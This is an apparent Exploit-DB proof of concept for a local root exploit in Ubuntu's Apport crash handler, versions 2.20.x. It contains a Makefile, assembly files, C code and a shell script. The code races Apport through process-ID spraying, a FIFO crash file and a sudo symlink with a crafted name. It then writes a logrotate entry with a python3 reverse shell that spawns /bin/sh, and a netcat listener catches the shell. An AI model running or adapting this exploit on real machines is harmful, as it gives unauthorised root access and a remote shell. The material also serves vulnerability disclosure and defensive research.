# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:
Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30
# Tested on: Ubuntu
This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.
# Setup
To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc
# Compilation
make
# Run
./exploit.sh
The reverse shell will connect on the next execution of logrotate
nc -l -p 1234
## Makefile ##
.PHONY: all clean
CC=gcc
CFLAGS=
NASM=nasm
NASM_FLAGS=-f elf64
LD=ld
all: exploit crash decoy
exploit: exploit.c
$(CC) -o $@ $< $(CFLAGS)
chmod +x $@
crash: crash.o
$(LD) $^ -o $@
decoy: decoy.o
$(LD) $^ -o $@
crash.o: crash.asm
$(NASM) $(NASM_FLAGS) $^
decoy.o: decoy.asm
$(NASM) $(NASM_FLAGS) $^
clean:
rm exploit decoy crash *.o
## crash.asm ##
section .data
message db 10,"/var/crash/test.log{",10," su root root",10," daily",10," size=0",10," firstaction",10," python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10," endscript",10,"}",10, 00
timeval:
tv_sec dd 0
tv_usec dd 0
section .text
global _start
_start:
mov dword [tv_sec], 4000000
mov dword [tv_usec], 0
mov rax, 35
mov rdi, timeval
mov rsi, 0
syscall
## decoy.asm ##
section .text
global _start
_start:
mov dword [0], 0
## exploit.c ##
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PID_THRESHOLD (80)
int read_max_pid_file()
{
FILE *fd = 0;
char buf[256];
fd = fopen("/proc/sys/kernel/pid_max", "r");
fread(buf, sizeof(buf), 1, fd);
fclose(fd);
return atoi(buf);
}
void write_to_fifo_file(char * path)
{
FILE *fd = 0;
char buf[] = "A";
fd = fopen(path, "w");
fwrite(buf, sizeof(buf), 1, fd);
fclose(fd);
return;
}
int main(int argc, char *argv[])
{
int iteration = 0;
pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
int current_pid = 0, max_pid = 0;
int total_pid = 0;
char *crash_argv[] = {"crash", NULL};
char *sudo_argv[] = {"sudo", "-S", "sud", NULL};
char current_dir[1024] = {0};
char exec_buf[2048] = {0};
char crash_buf[2048] = {0};
struct stat sb = {0} ;
int null_fd = -1;
signal(SIGCHLD, SIG_IGN);
getcwd(current_dir, sizeof(current_dir));
snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");
chdir("/etc/logrotate.d/");
// Creating the crash program
if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
{
crash_pid = fork();
if (0 == crash_pid)
{
execve(crash_buf, crash_argv, NULL);
exit(0);
}
else if(-1 == crash_pid)
{
printf("[-] Could not fork program\n");
return -1;
}
}
else
{
printf("[-] Please check crash file executable.");
return -1;
}
max_pid = read_max_pid_file();
printf("[*] crash pid: %d\n", crash_pid);
printf("[*] max pid: %d\n", max_pid);
printf("[*] Creating ~%d PIDs\n", max_pid);
printf("[*] Forking new processes\n");
sleep(3);
// Iterating through max_pid to almost reach the crash program pid
while (iteration < max_pid - 1)
{
// Print progress of forks
if( 0 == (iteration % (int)(max_pid / 5000)))
{
printf("\rIteration: %d/%d", iteration + 1, max_pid);
fflush(stdout);
}
temp_pid = -1;
temp_pid = fork();
if (0 == temp_pid)
{
exit(0);
}
else if (temp_pid > 0)
{
iteration++;
// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
{
printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
fflush(stdout);
printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
break;
}
}
else if (-1 == temp_pid)
{
printf("[-] Could not fork temp programs\n");
}
}
printf("[*] Crashing the crash program\n");
kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
sleep(5);
printf("[*] Killing the crash program\n");
kill(crash_pid, SIGKILL);
sleep(3);
// Now crash pid is free and we need to occupy it
for(int i=0; i < PID_THRESHOLD ; i++)
{
spray_pid = fork();
if (0 == spray_pid)
{
if (crash_pid == getpid())
{
null_fd = open("/dev/null", O_WRONLY);
dup2(null_fd, 1);
dup2(null_fd, 2);
close(null_fd);
printf("[+] Creating suid process\n");
execve(exec_buf, sudo_argv, NULL);
}
exit(0);
}
}
sleep(3);
printf("[*] Writing to fifo file\n");
write_to_fifo_file(argv[1]);
// Now the first apport released and the second apport resumed
printf("[+] Wrote core file to cwd!\n");
sleep(10); // Waiting for the second apport to finish execution
return 0;
}
## exploit.sh ##
#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited
if [ ! -d "~/.config/apport" ]; then
echo "[*] Settings directory not exists"
echo "[*] Creating settings directory"
mkdir -p ~/.config/apport
fi
if [ ! -f "~/.config/apport/settings" ] ; then
echo "[*] Settings file not exists"
echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
echo "[+] Settings file created"
fi
DECOY_PATH=`realpath ./decoy`
MY_UID=`id -u`
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
if [ -f $DECOY_CRASH_PATH ] || [ -p $DECOY_CRASH_PATH ] ; then
echo "[*] decoy crash exists deleting the file"
rm $DECOY_CRASH_PATH
fi
mkfifo $DECOY_CRASH_PATH
echo "[+] FIFO file created"
./decoy 2>&1 >/dev/null &
killall -SIGSEGV ./decoy
echo "[+] Decoy process created"
SUDO_PATH=`which sudo`
ln -s $SUDO_PATH "linkchange"
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"
echo "[+] symlink to sudo created"
./exploit $DECOY_CRASH_PATH
rm $DECOY_CRASH_PATH
sleep 5
if [ -f "/etc/logrotate.d/core" ] ; then
echo "[*] Exploit succesfully finished"
else
echo "[*] Exploit failed"
fi
# Kill the sudo process after second apport finished
kill `ps -ef | grep "sudo -S sud" | grep -v grep | awk '{print $2}'`
##